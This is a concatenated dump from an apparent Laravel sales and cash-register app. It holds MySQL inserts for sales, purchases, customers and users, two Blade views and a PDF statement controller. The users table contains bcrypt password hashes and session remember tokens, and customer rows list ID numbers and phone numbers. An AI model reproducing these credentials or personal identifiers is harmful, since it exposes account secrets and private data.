INSERT INTO detalle_venta VALUES("57","41","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("58","42","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("59","43","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("60","44","2","2","200.00","0.00");
INSERT INTO detalle_venta VALUES("61","45","7","3","1000.00","0.00");
INSERT INTO detalle_venta VALUES("62","46","2","2","200.00","0.00");
INSERT INTO detalle_venta VALUES("63","47","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("64","48","4","1","2.00","0.00");
INSERT INTO detalle_venta VALUES("65","49","5","10","15.00","0.00");
INSERT INTO detalle_venta VALUES("66","50","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("67","51","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("68","52","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("69","53","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("70","54","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("71","55","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("72","56","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("73","56","4","2","2.00","0.00");
INSERT INTO detalle_venta VALUES("74","56","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("75","57","1","3","600.00","0.00");
INSERT INTO detalle_venta VALUES("76","58","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("77","58","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("78","59","4","5","2.00","0.00");
INSERT INTO detalle_venta VALUES("79","59","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("80","60","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("81","61","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("82","62","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("83","63","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("84","64","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("85","64","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("86","65","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("87","66","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("88","66","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("89","67","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("90","68","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("91","69","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("92","69","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("93","70","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("94","71","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("95","72","5","3","15.00","0.00");
INSERT INTO detalle_venta VALUES("96","73","7","2","1000.00","0.00");
INSERT INTO detalle_venta VALUES("97","74","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("98","74","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("99","74","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("100","75","4","10","2.00","0.00");
INSERT INTO detalle_venta VALUES("101","76","5","1","15.00","0.00");
INSERT INTO detalle_venta VALUES("102","76","1","1","600.00","0.00");
INSERT INTO detalle_venta VALUES("103","77","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("104","78","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("105","78","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("106","79","4","5","2.00","0.00");
INSERT INTO detalle_venta VALUES("107","80","2","1","200.00","0.00");
INSERT INTO detalle_venta VALUES("108","80","7","1","1000.00","0.00");
INSERT INTO detalle_venta VALUES("109","81","7","10","1000.00","0.00");
INSERT INTO detalle_venta VALUES("110","82","5","2","600.00","0.00");
DROP TABLE IF EXISTS ingreso;
CREATE TABLE `ingreso` (
`idingreso` int(11) NOT NULL AUTO_INCREMENT,
`idproveedor` int(11) NOT NULL,
`tipo_comprobante` varchar(20) COLLATE utf8_spanish2_ci NOT NULL,
`serie_comprobante` varchar(7) COLLATE utf8_spanish2_ci DEFAULT NULL,
`num_comprobante` varchar(10) COLLATE utf8_spanish2_ci NOT NULL,
`fecha_hora` datetime NOT NULL,
`impuesto` decimal(4,2) NOT NULL,
`estado` varchar(20) COLLATE utf8_spanish2_ci NOT NULL,
PRIMARY KEY (`idingreso`),
KEY `fk_ingreso_persona_idx` (`idproveedor`),
CONSTRAINT `fk_ingreso_persona` FOREIGN KEY (`idproveedor`) REFERENCES `persona` (`idpersona`) ON DELETE NO ACTION ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=25 DEFAULT CHARSET=utf8 COLLATE=utf8_spanish2_ci;
INSERT INTO ingreso VALUES("3","5","Boleta","001","001","2016-08-19 22:19:34","18.00","A");
INSERT INTO ingreso VALUES("4","6","Boleta","001","0001","2016-08-30 16:19:48","18.00","A");
INSERT INTO ingreso VALUES("5","5","Factura","001","00004","2016-08-30 16:29:00","18.00","A");
INSERT INTO ingreso VALUES("6","5","Boleta","001","0001","2016-08-31 11:02:43","18.00","A");
INSERT INTO ingreso VALUES("7","5","Boleta","001","0008","2016-08-31 11:22:33","18.00","A");
INSERT INTO ingreso VALUES("8","5","Boleta","001","0001","2016-08-31 11:37:20","18.00","A");
INSERT INTO ingreso VALUES("9","5","Boleta","007","0008","2016-08-31 15:37:16","18.00","A");
INSERT INTO ingreso VALUES("10","6","Factura","001","001","2016-09-01 16:33:03","18.00","A");
INSERT INTO ingreso VALUES("11","5","Boleta","001","0003","2016-09-01 17:00:51","18.00","A");
INSERT INTO ingreso VALUES("12","5","Boleta","001","00077","2016-09-27 15:19:58","18.00","A");
INSERT INTO ingreso VALUES("13","5","Boleta","001","00002","2016-09-29 16:12:58","18.00","A");
INSERT INTO ingreso VALUES("14","5","Boleta","001","0002","2016-10-02 13:42:22","0.00","A");
INSERT INTO ingreso VALUES("15","5","Boleta","002","0003","2016-10-02 13:43:51","18.00","A");
INSERT INTO ingreso VALUES("16","5","Ticket","001","0005","2016-10-02 13:44:13","0.00","A");
INSERT INTO ingreso VALUES("17","5","Boleta","001","000155","2016-11-01 10:38:48","18.00","A");
INSERT INTO ingreso VALUES("18","5","Boleta","0001","1233","2016-12-12 08:34:03","0.00","A");
INSERT INTO ingreso VALUES("19","5","Boleta","0011","5666","2016-12-21 07:43:00","0.00","A");
INSERT INTO ingreso VALUES("20","6","Ticket","001","456","2016-12-28 14:42:31","0.00","C");
INSERT INTO ingreso VALUES("21","5","Ticket","001","93884","2017-01-03 13:43:30","18.00","C");
INSERT INTO ingreso VALUES("22","6","Ticket","001","456","2017-01-25 08:56:21","0.00","A");
INSERT INTO ingreso VALUES("23","5","Boleta","001","3322","2017-01-25 10:11:30","0.00","A");
INSERT INTO ingreso VALUES("24","5","Boleta","009","8876","2017-01-25 10:43:15","0.00","A");
DROP TABLE IF EXISTS migrations;
CREATE TABLE `migrations` (
`migration` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`batch` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
INSERT INTO migrations VALUES("2014_10_12_000000_create_users_table","1");
INSERT INTO migrations VALUES("2014_10_12_100000_create_password_resets_table","1");
DROP TABLE IF EXISTS password_resets;
CREATE TABLE `password_resets` (
`email` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`token` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
KEY `password_resets_email_index` (`email`),
KEY `password_resets_token_index` (`token`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
INSERT INTO password_resets VALUES("<EMAIL>","<PASSWORD>","2016-12-28 18:36:20");
DROP TABLE IF EXISTS persona;
CREATE TABLE `persona` (
`idpersona` int(11) NOT NULL AUTO_INCREMENT,
`tipo_persona` varchar(20) COLLATE utf8_spanish2_ci NOT NULL,
`nombre` varchar(100) COLLATE utf8_spanish2_ci NOT NULL,
`tipo_documento` varchar(20) COLLATE utf8_spanish2_ci DEFAULT NULL,
`num_documento` varchar(15) COLLATE utf8_spanish2_ci DEFAULT NULL,
`direccion` varchar(70) COLLATE utf8_spanish2_ci DEFAULT NULL,
`telefono` varchar(15) COLLATE utf8_spanish2_ci DEFAULT NULL,
`email` varchar(50) COLLATE utf8_spanish2_ci DEFAULT NULL,
PRIMARY KEY (`idpersona`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8 COLLATE=utf8_spanish2_ci;
INSERT INTO persona VALUES("1","Cliente","<NAME>","DNI","74125863","Margaritas 1368 - Chiclayo","","");
INSERT INTO persona VALUES("2","Inactivo","<NAME>","DNI","36985214","","","");
INSERT INTO persona VALUES("3","Cliente","<NAME>","PAS","0174589632","J<NAME> 1368 - Trujillo","96325871","<EMAIL>");
INSERT INTO persona VALUES("4","Cliente","<NAME>","DNI","47715777","J<NAME> 1368","","<EMAIL>");
INSERT INTO persona VALUES("5","Proveedor","Soluciones Innovadoras Perú S.A.C","RUC","20600121234","Chiclayo 0123","931742904","<EMAIL>");
INSERT INTO persona VALUES("6","Proveedor","Inversiones SantaAna S.A.C","RUC","20546231478","Chongoyape 01","074963258","<EMAIL>");
INSERT INTO persona VALUES("7","Cliente","<NAME>","DNI","36667742","monteros","984993020","<EMAIL>");
INSERT INTO persona VALUES("8","Cliente","<NAME>","DNI","36527542","los sosa","38635895","<EMAIL>");
DROP TABLE IF EXISTS users;
CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`email` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`password` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
`remember_token` varchar(100) COLLATE utf8_unicode_ci DEFAULT NULL,
`created_at` timestamp NULL DEFAULT NULL,
`updated_at` timestamp NULL DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `users_email_unique` (`email`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
INSERT INTO users VALUES("1","<NAME>","<EMAIL>","$2y$10$lfhJB1OGVFl2z6a0BGe7LuiyzdpkQbiX49B8Bbt21lU9QUU8zrUii","UQBlGKJeoltwG5Xi6P4O3bQj3Xq9NqJ1fXVwMAUm82CHiotswgl6KxzC1pby","2016-10-24 18:33:02","2016-12-12 06:58:47");
INSERT INTO users VALUES("3","Luis","<EMAIL>","$2y$10$aNkfXGczdX/sYxHfH2vZb.MrZyJA/xFkHiizaX7Sddl7SUQoaAEpe","","2016-10-24 21:37:20","2016-10-24 21:37:20");
INSERT INTO users VALUES("4","<NAME>","<EMAIL>","$2y$10$vjAXs55vVqQwkZ7fQ8FXwehs9YNOqS7ZvjkiUH0qtLXdiLXESlZLe","YJqQ3F9sLTEa1tcDvKx2CsBcEcttjiMFk5ALow495tcQhKTtCQSuKEjjYCpr","2016-12-14 16:10:54","2017-01-24 17:03:02");
DROP TABLE IF EXISTS venta;
CREATE TABLE `venta` (
`idventa` int(11) NOT NULL AUTO_INCREMENT,
`idcliente` int(11) NOT NULL,
`tipo_comprobante` varchar(20) COLLATE utf8_spanish2_ci NOT NULL,
`serie_comprobante` varchar(7) COLLATE utf8_spanish2_ci NOT NULL,
`num_comprobante` varchar(50) COLLATE utf8_spanish2_ci NOT NULL,
`fecha_hora` datetime NOT NULL,
`impuesto` decimal(4,2) NOT NULL,
`total_venta` decimal(11,2) NOT NULL,
`sena` decimal(11,2) NOT NULL,
`cuota` decimal(11,2) NOT NULL,
`fecha_cuota` datetime NOT NULL,
`saldo` decimal(11,2) NOT NULL,
`estado` varchar(20) COLLATE utf8_spanish2_ci NOT NULL,
PRIMARY KEY (`idventa`),
KEY `fk_venta_cliente_idx` (`idcliente`),
CONSTRAINT `fk_venta_cliente` FOREIGN KEY (`idcliente`) REFERENCES `persona` (`idpersona`) ON DELETE NO ACTION ON UPDATE NO ACTION
) ENGINE=InnoDB AUTO_INCREMENT=83 DEFAULT CHARSET=utf8 COLLATE=utf8_spanish2_ci;
INSERT INTO venta VALUES("1","1","Boleta","001","0001","2016-09-01 00:00:00","18.00","120.00","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("3","1","Boleta","001","0005","2016-09-28 15:42:43","18.00","303.60","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("4","1","Boleta","001","0005","2016-09-28 15:43:02","18.00","303.60","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("5","3","Boleta","001","0005","2016-09-28 15:43:17","18.00","6.60","0.00","0.00","0000-00-00 00:00:00","0.00","C");
INSERT INTO venta VALUES("6","6","Boleta","001","0002","2016-09-28 15:44:02","18.00","355.30","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("7","1","Boleta","001","00002","2016-09-28 16:16:35","18.00","25.00","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("8","1","Boleta","007","777","2016-09-28 16:18:15","18.00","16512.80","0.00","0.00","0000-00-00 00:00:00","0.00","C");
INSERT INTO venta VALUES("9","4","Boleta","001","00005","2016-09-28 22:23:28","18.00","31.60","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("10","3","Factura","001","0008","2016-09-29 16:54:13","18.00","580.00","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("11","1","Factura","001","0005","2016-10-02 13:46:13","18.00","15.00","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("12","1","Boleta","001","0007","2016-10-02 13:46:38","0.00","15.00","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("13","3","Factura","007","00077","2016-10-02 14:25:12","18.00","40.00","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("14","1","Factura","001","00010","2016-11-01 10:39:26","18.00","161.25","0.00","0.00","0000-00-00 00:00:00","0.00","C");
INSERT INTO venta VALUES("15","1","Boleta","001","233","2016-12-12 07:49:09","0.00","200.00","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("16","1","Ticket","002","455","2016-12-12 11:55:05","0.00","15.00","10.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("17","3","Factura","011","9988","2016-12-12 14:30:58","21.00","200.00","150.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("18","3","Seña o Cc","001","98","2016-12-20 09:00:46","0.00","200.00","100.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("19","1","Seña o Cc","001","344","2016-12-20 09:50:47","0.00","200.00","100.00","0.00","0000-00-00 00:00:00","200.00","A");
INSERT INTO venta VALUES("20","3","Seña o Cc","001","988","2016-12-20 09:55:30","0.00","1200.00","200.00","0.00","0000-00-00 00:00:00","1200.00","A");
INSERT INTO venta VALUES("21","1","Seña o Cc","001","909","2016-12-20 10:05:08","0.00","200.00","100.00","0.00","0000-00-00 00:00:00","200.00","A");
INSERT INTO venta VALUES("22","1","Contado","001","098","2016-12-20 10:19:52","0.00","600.00","200.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("23","3","Seña o Cc","001","9999","2016-12-20 10:22:43","0.00","615.00","500.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("24","1","Seña o Cc","001","9997","2016-12-20 10:28:53","0.00","200.00","100.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("25","4","Seña o Cc","001","7655","2016-12-20 10:30:00","0.00","600.00","300.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("26","1","Seña o Cc","001","899","2016-12-20 10:45:40","0.00","1200.00","400.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("27","1","Seña o Cc","001","987","2016-12-20 21:26:15","0.00","500.00","200.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("28","4","Seña o Cc","001","001233","2016-12-21 09:44:10","0.00","1400.00","400.00","0.00","0000-00-00 00:00:00","1400.00","A");
INSERT INTO venta VALUES("29","1","Seña o Cc","001","8899","2016-12-21 09:46:09","0.00","800.00","300.00","0.00","0000-00-00 00:00:00","700.00","A");
INSERT INTO venta VALUES("30","1","Seña o Cc","001","567","2016-12-21 09:57:50","0.00","600.00","200.00","0.00","0000-00-00 00:00:00","500.00","A");
INSERT INTO venta VALUES("31","1","Contado","001","987","2016-12-21 09:58:53","0.00","400.00","200.00","0.00","0000-00-00 00:00:00","100.00","A");
INSERT INTO venta VALUES("32","3","Seña o Cc","001","9876","2016-12-21 10:03:00","0.00","200.00","150.00","0.00","0000-00-00 00:00:00","50.00","A");
INSERT INTO venta VALUES("33","4","Seña o Cc","001","8976","2016-12-21 10:34:56","0.00","675.00","0.00","0.00","0000-00-00 00:00:00","475.00","C");
INSERT INTO venta VALUES("34","1","Contado","001","7683","2016-12-26 09:59:40","0.00","600.00","1000.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("35","4","Seña o Cc","001","9877","2016-12-28 15:28:57","0.00","875.00","750.00","0.00","0000-00-00 00:00:00","125.00","A");
INSERT INTO venta VALUES("36","7","Seña o Cc","001","678","2016-12-28 16:46:48","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","C");
INSERT INTO venta VALUES("37","1","Seña o Cc","001","98976","2016-12-28 16:51:34","0.00","620.00","0.00","0.00","0000-00-00 00:00:00","0.00","A");
INSERT INTO venta VALUES("38","7","Seña o Cc","001","8990","2016-12-28 16:57:29","0.00","224.00","224.00","0.00","0000-00-00 00:00:00","0.00","C");
INSERT INTO venta VALUES("39","7","Seña o Cc","001","988","2016-12-28 16:58:35","0.00","1090.00","0.00","0.00","0000-00-00 00:00:00","0.00","CANCELADO");
INSERT INTO venta VALUES("40","7","Seña o Cc","001","00987","2016-12-28 17:14:58","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","CANCELADO");
INSERT INTO venta VALUES("41","1","Contado","001","0987","2016-12-28 17:15:32","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","CANCEL");
INSERT INTO venta VALUES("42","8","Contado","001","44444","2016-12-28 17:18:14","0.00","200.00","200.00","0.00","0000-00-00 00:00:00","0.00","CANCELADO");
INSERT INTO venta VALUES("43","8","Contado","001","9888","2016-12-28 17:19:45","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","CANCELADO");
INSERT INTO venta VALUES("44","7","Seña o Cc","001","8765","2016-12-28 17:42:52","0.00","400.00","0.00","0.00","0000-00-00 00:00:00","0.00","CANCELADO");
INSERT INTO venta VALUES("45","8","Seña o Cc","001","87689","2016-12-28 17:45:20","0.00","3000.00","0.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("46","1","Seña o Cc","001","7788","2016-12-28 17:49:10","0.00","400.00","0.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("47","3","Seña o Cc","001","98765","2016-12-28 17:50:45","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("48","1","Seña o Cc","001","899","2016-12-28 17:58:34","0.00","2.00","2.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("49","7","Seña o Cc","001","988","2016-12-28 18:00:38","0.00","150.00","150.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("50","7","Contado","001","9877","2016-12-28 18:24:31","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("51","1","Tarjeta","001","8999","2016-12-28 18:26:54","21.00","600.00","600.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("52","1","Seña o Cc","001","987","2016-12-28 18:45:16","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("53","7","Seña o Cc","001","0988","2017-01-03 14:57:15","0.00","600.00","600.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("54","8","Contado","001","9887","2017-01-03 15:33:44","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("55","8","Contado","001","9889","2017-01-03 16:11:00","0.00","200.00","200.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("56","7","Tarjeta","001","098098","2017-01-03 16:14:00","21.00","1604.00","0.00","0.00","0000-00-00 00:00:00","1604.00","debe");
INSERT INTO venta VALUES("57","1","Seña o Cc","001","876","2017-01-03 16:28:56","0.00","1800.00","1500.00","100.00","2017-01-06 14:58:51","300.00","debe");
INSERT INTO venta VALUES("58","7","Seña o Cc","001","09876","2017-01-03 16:32:42","0.00","1600.00","1600.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("59","4","Contado","001","66666","2017-01-04 16:38:01","0.00","210.00","210.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("60","1","Tarjeta","001","222222","2017-01-04 16:38:43","21.00","600.00","600.00","100.00","2017-01-05 12:13:49","0.00","cancelado");
INSERT INTO venta VALUES("61","7","Seña o Cc","001","9999","2017-01-04 16:39:41","0.00","1000.00","1000.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("62","7","Seña o Cc","001","78987","2017-01-04 10:02:59","0.00","600.00","600.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("63","1","Seña o Cc","001","988766","2017-01-05 10:41:16","0.00","600.00","700.00","0.00","0000-00-00 00:00:00","-100.00","debe");
INSERT INTO venta VALUES("64","7","Seña o Cc","001","9887","2017-01-04 10:52:41","0.00","1200.00","1200.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("65","1","Seña o Cc","001","0022","2017-01-05 12:03:33","0.00","600.00","600.00","100.00","2017-01-06 14:52:42","0.00","cancelado");
INSERT INTO venta VALUES("66","8","Seña o Cc","001","9865","2017-01-05 12:12:28","0.00","1200.00","1200.00","700.00","2017-01-05 14:41:38","0.00","cancelado");
INSERT INTO venta VALUES("67","1","Contado","001","4566","2017-01-05 12:13:10","0.00","600.00","600.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("68","7","Seña o Cc","001","67788","2017-01-05 14:45:16","0.00","200.00","200.00","150.00","2017-01-06 14:51:52","0.00","cancelado");
INSERT INTO venta VALUES("69","8","Seña o Cc","001","7890","2017-01-06 14:55:22","0.00","1600.00","1600.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("70","4","Seña o Cc","001","9848","2017-01-06 14:57:00","0.00","600.00","400.00","200.00","2017-01-19 17:04:45","200.00","debe");
INSERT INTO venta VALUES("71","1","Seña o Cc","001","6738","2017-01-19 17:06:14","0.00","200.00","100.00","0.00","0000-00-00 00:00:00","100.00","debe");
INSERT INTO venta VALUES("72","1","Contado","001","8997","2017-01-19 17:38:13","0.00","45.00","45.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("73","7","Contado","001","9885","2017-01-20 09:17:57","0.00","2000.00","2000.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("74","8","Contado","001","8997","2017-01-20 09:49:28","0.00","1800.00","1800.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("75","1","Tarjeta","001","453663","2017-01-20 11:03:33","21.00","20.00","0.00","0.00","0000-00-00 00:00:00","20.00","debe");
INSERT INTO venta VALUES("76","7","Seña o Cc","001","34456","2017-01-20 11:04:09","0.00","615.00","300.00","0.00","0000-00-00 00:00:00","315.00","debe");
INSERT INTO venta VALUES("77","1","Tarjeta","001","Visa","2017-01-24 16:30:38","21.00","1000.00","0.00","0.00","0000-00-00 00:00:00","1000.00","debe");
INSERT INTO venta VALUES("78","8","Tarjeta","001","Mastercard","2017-01-24 16:36:02","21.00","1200.00","0.00","0.00","0000-00-00 00:00:00","1200.00","debe");
INSERT INTO venta VALUES("79","1","Contado","001"," ","2017-01-24 16:55:46","0.00","10.00","10.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("80","7","Tarjeta","001","Visa","2017-01-25 08:48:42","21.00","1200.00","0.00","0.00","0000-00-00 00:00:00","1200.00","debe");
INSERT INTO venta VALUES("81","8","Contado","001"," ","2017-01-25 09:48:29","0.00","10000.00","10000.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
INSERT INTO venta VALUES("82","1","Contado","001"," ","2017-01-25 10:43:48","0.00","1200.00","1200.00","0.00","0000-00-00 00:00:00","0.00","cancelado");
<file_sep>@extends ('layouts.admin')
@section ('contenido')
<div class="row">
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-12">
<h3>Acerca de...</h3>
</div>
</div>
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
<table>
<tr><th>Nombre de la empresa:</th><td>Punto Limite </td></tr>
<tr><th>Email:</th><td></td></tr>
<tr><th>Whatsapp:</th><td></td></tr>
<tr><th>Facebook:</th><td><a href="www.facebook.com" target="_blank">www.facebook.com</a></td></tr>
<tr><th>Empresa Responsable:</th><td>Devsing /diseño y desarrollo</td></tr>
<tr><th>Página web:</th><td><a href="www.devsingweb.com" target="_blank">www.devsingweb.com</a></td></tr>
</table>
</div>
</div>
@endsection<file_sep><div class="modal fade modal-slide-in-right" aria-hidden="true"
role="dialog" tabindex="-1" id="modal-create">
{{Form::Open(array('action'=>array('ResumenCajaController@store'),'method'=>'POST'))}}
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal"
aria-label="Close">
<span aria-hidden="true">×</span>
</button>
<h4 class="modal-title">Abrir Caja</h4>
</div>
<div class="modal-body">
<?php
foreach ($totales as $total)
{
?>
<div class="col-lg-3 col-sm-3 col-md-3 col-xs-12">
<div class="form-group">
<label for="monto">Monto inicial</label>
<input type="text" name="monto_inicial" value="{{$caja->monto_final}}" class="form-control">
</div>
</div>
<input type="hidden" name="cuentas" value="<?php echo $total->totalsena ;?>" class="form-control">
<input type="hidden" name="cuotas" value="<?php echo $total->totalcuota;?>" class="form-control">
<input type="hidden" name="tarjetas" value="<?php echo $total->totaltarjeta;?>" class="form-control">
<input type="hidden" name="venta_efectivo" value="<?php echo $total->totalventa;?>" class="form-control">
<input type="hidden" name="salidas" value="<?php echo $total->totalsalida;?>" class="form-control">
<input type="hidden" name="monto_final" value="<?php echo $total->totalventa + $total->totalsena + $total->totalcuota - $total->totalsalida;?>" class="form-control">
<input type="hidden" name="estado" value="Abierta" class="form-control">
</div>
<?php }?>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Cerrar</button>
<button type="submit" class="btn btn-primary">Confirmar</button>
</div>
</div>
</div>
{{Form::Close()}}
</div><file_sep><?php
namespace zitaraventas\Http\Controllers;
use Illuminate\Http\Request;
use zitaraventas\Http\Requests;
use zitaraventas\Persona;
use DB;
use Fpdf;
class EstadoController extends Controller
{
public function __construct()
{
$this->middleware('auth');
}
public function vistaestado(Request $request)
{
if ($request)
{
$personas = Persona::where('tipo_persona','=','Cliente')->get();
// dd($personas);
$cliente = trim($request->get('cliente'));
// $fecha = trim($request->get('fecha'));
$venta = trim($request->get('venta'));
$pagos = DB::table('estados as e')
->join('venta as v','e.idventa','=','v.idventa')
->join('persona as p','v.idcliente','=','p.idpersona')
->select('e.id','e.idventa','e.created_at','p.nombre','e.cuota','e.saldo','e.estado')
->orwhere('e.idcliente','=',$cliente)
->orwhere('e.idventa','=',$venta)
// ->orwhere('e.created_at','=',$fecha)
->orderBy('id','desc')
->get();
return view('estado.resumen',compact('personas','cliente','fecha','venta','pagos'));
}
}
public function reporte($cliente, $credito){
//Obtengo los datos
$detalles = DB::table('estados as e')
->join('venta as v','e.idventa','=','v.idventa')
->join('persona as p','v.idcliente','=','p.idpersona')
->select('e.id','e.idventa','e.created_at','p.nombre','e.cuota','e.saldo','e.estado')
->orwhere('e.idcliente','=',$cliente)
->orwhere('e.idventa','=',$credito)
// ->orwhere('e.created_at','=',$fecha)
->orderBy('id','desc')
->get();
$pdf = new Fpdf();
$pdf::AddPage();
$pdf::SetFont('Arial','B',14);
$pdf::Image('..\public\img\logo.jpeg',5,5,60);
//Inicio con el reporte
$pdf::SetXY(150,20);
$pdf::Cell(0,0,utf8_decode('Movimientos:'));
$pdf::SetFont('Arial','B',14);
//Inicio con el reporte
// $pdf::SetXY(110,40);
// $pdf::Cell(0,0,utf8_decode("Fecha:"));
$pdf::SetFont('Arial','B',10);
// $pdf::SetXY(35,60);
// $pdf::Cell(0,0,utf8_decode("Cliente:");
// $pdf::SetXY(35,69);
// $pdf::Cell(0,0,substr("Fecha:"));
$total=0;
$pdf::SetXY(180,69);
$pdf::setXY(10,78);
$pdf::SetTextColor(0,0,0); // Establece el color del texto
$pdf::SetFillColor(206, 246, 245); // establece el color del fondo de la celda
$pdf::SetFont('Arial','B',10);
$pdf::cell(25,8,utf8_decode("N° de pago"),1,"","L",true);
$pdf::cell(50,8,utf8_decode("Cliente"),1,"","L",true);
